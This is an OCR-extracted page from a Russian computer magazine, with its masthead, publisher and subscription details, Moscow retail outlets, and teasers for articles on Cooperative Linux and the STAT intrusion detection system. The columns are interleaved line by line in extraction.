Николай Петрочук пошаговой инструкции. STAT – совсем другая IDS
Сегодня основную нагрузку по защи-
103045, г. Москва, Знакомство те сетей принимают на себя firewall и
Ананьевский переулок, дом 4/2 стр. 1 с Cooperative Linux приложения уровня домена, предназ-
тел./факс: (095) 928-8253 25-27 января 2004 года новостные лен- наченные для подтверждения подлин-
Е-mail: info@samag.ru ты большинства информационных из- ности пользователей. Несмотря на то
Internet: www.samag.ru даний, так или иначе посвященных что эти приложения в основном справ-
компьютерной тематике, пестрили та- ляются со своей задачей, они не могут
РУКОВОДИТЕЛЬ ПРОЕКТА кими сообщениями: «Linux теперь мож- полностью решить все проблемы по
Петр Положевец но запускать в Windows», «Linux и защите сетей и отдельных хостов. И
Windows без перезагрузок», «Револю- как следствие, на помощь приходят
УЧРЕДИТЕЛИ ционное изобретение 21-летнего ге- системы обнаружения атак (СОА или
Владимир Положевец ния» и т. д. Мир узнал о новом проекте – Intrusion detection systems – IDS).
Александр Михалев Cooperative Linux (сокращенно coLinux). В статье речь пойдет о проекте State
В анонсах сообщалось о том, что те- Transition Analysis Technique (STAT).
ИЗДАТЕЛЬ
ЗАО «Издательский дом
«Учительская газета» Вы можете приобретать журналы в магазинах
и торговых точках г. Москвы по адресам:
Отпечатано типографией
ГП «Московская Типография №13» ! Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38)
Тираж 7000 экз. ! Дом технической книги (Ленинский проспект, 40)
! Московский дом книги (Улица Новый Арбат, 8)
Журнал зарегистрирован ! Выставочный компьютерный центр «Савеловский» (Киоск у главного входа)
в Министерстве РФ по делам печати, ! Выставочный компьютерный центр «Буденовский»
телерадиовещания и средств мас- ! Книжная ярмарка в СК «Олимпийский» (Нижний этаж, место 70А)
совых коммуникаций (свидетельство График работы: с 9-00 до 14-00 ежедневно, кроме пн. и вскр.
ПИ № 77-12542 от 24 апреля 2002г.) ! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литерату-
ра» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09).
За содержание статьи ответствен- ! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9).
ность несет автор. За содержание ! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).
рекламного обьявления ответствен-
ность несет рекламодатель. Все пра- On-line магазины:
ва на опубликованные материалы за-
ОТКРЫТА ПОДПИСКА
щищены. Редакция оставляет за со- ! www.linuxshop.ru
на первое полугодие 2005 года
бой право изменять содержание сле- ! www.linuxcenter.ru
дующих номеров. ! www.bolero.ru

96